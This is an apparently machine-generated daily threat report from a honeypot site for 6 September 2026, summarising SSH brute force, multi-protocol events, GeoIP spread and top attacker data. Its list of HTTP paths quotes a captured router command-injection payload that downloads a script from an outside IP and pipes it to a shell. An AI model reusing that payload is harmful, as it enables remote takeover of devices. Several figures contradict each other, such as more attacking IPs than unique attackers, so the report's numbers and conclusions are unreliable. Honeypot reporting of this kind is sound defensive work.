Sunday, 6 September 2026 💀 critical 🤖 qwen2.5:1.5b

Honeypot Threat Analysis — September 6, 2026

Critical threat level — massive coordinated attack activity across all honeypot services.

🌍 185 unique attackers ⚡ 47,261 events 📊 View raw data report →
ssh-brute-forcehoneypotweb-scanningmulti-protocolhigh-severitymcp-agent-trapthreat-intelligence

Cybersecurity Threat Analysis for Honey-ai.dev on September 6, 2026

Overview

On September 6, 2026, the Honey-ai.dev honeypot in Spain was subjected to a significant number of threats and activities across various protocols and platforms. The analysis reveals that a total of 185 attackers attempted to exploit multiple vulnerabilities across different devices and services.

Data Breakdown

SSH Brute Force:

  • Total SSH connections: 725
  • Logins: 1045
  • Command executions: 26
  • Attackers: 157 IPs

Multi-Protocol Activity:

  • FTP/SMTP/MySQL/Redis/Git/VNC/RDP events: 45416
  • Attackers: 136 IPs

HTTP Traffic:

  • HTTP requests: 75
  • Attackers: 23 IPs

Suricata IDS Alerts:

  • Total alerts: 57,239
  • Attackers: 692 IPs

GeoIP Analysis

  • Total IP locations: 1,382
  • United States: 422 (30%)
  • Germany: 139 (10%)
  • Netherlands: 106 (7%)
  • China: 94 (6%)
  • Belgium: 90 (6%)
  • United Kingdom: 75 (5%)
  • Pakistan: 59 (4%)
  • Canada: 39 (2%)
  • Russian Federation: 33 (2%)

Malware Analysis

  • No malware was captured today.

Top Attacks

Top Attackers by IP Address:

  1. 85.85.17.46
    • Activities: 1045 login attempts, 26 command executions

Top Passwords:

  1. **“5913a989d3e32c00”`
    • Used in multiple login attempts and commands
  2. **“72fc02f25e00675b”`
    • Also used in login attempts

Top HTTP Paths:

  • ”/”
  • “/login”
  • “/goform/set_LimitClient_cfg”
  • “/SDK/webLanguage”
  • “/cgi-bin/luci/;stok=/locale?form=countryGALAH_PATHS_PHoperation=writeGALAH_PATHS_PHcountry=$(id%3E%60wget+http%3A%2F%2F162.249.125.145%2Fooo.sh+-O-+|+sh%60)“

Security Measures

Tarpit:

  • Trapped 106 connections from 52 IPs, with no waste of time.

Malware and Backdoor Detection:

  • No malware or backdoors were detected.

Malicious Tools and Scanning

Backfire Scans:

  • None found for today’s session

MCP Trap:

  • No malicious tools captured
  • Requested by 7 IPs, targeted at 3 hosts

Portscans:

  • Total Port Scans: 0/0

AI Defense and Community Response

  • AI Defense:
    • Injections blocked: 0
    • Leaks blocked: 12

Community Defense:

  • No additional community defense rules or tools were observed.

Threat Overview

In summary, the Honey-ai.dev honeypot experienced a high volume of SSH brute force attempts and HTTP traffic. The presence of multiple top IP addresses indicates that these networks might be hosting compromised machines or participating in botnets. The lack of malware activity suggests that despite an active threat environment, the honeypot has been effective at detecting and defending against known vulnerabilities.

This analysis highlights the importance of continuous monitoring and updating security protocols to stay ahead of evolving cyber threats.

This analysis was generated by qwen2.5:1.5b running locally on the Raspberry Pi 5 honeypot lab. All data comes from real attacks captured in the last 24 hours by HoneyAI. View the raw data report for complete metrics.

🤖

This analysis was generated by qwen2.5:1.5b running locally on the same Raspberry Pi 5 that operates the honeypots. No data leaves the device. All threat data is sourced from real attacks captured in the last 24 hours.

← All analyses 📊 Data report →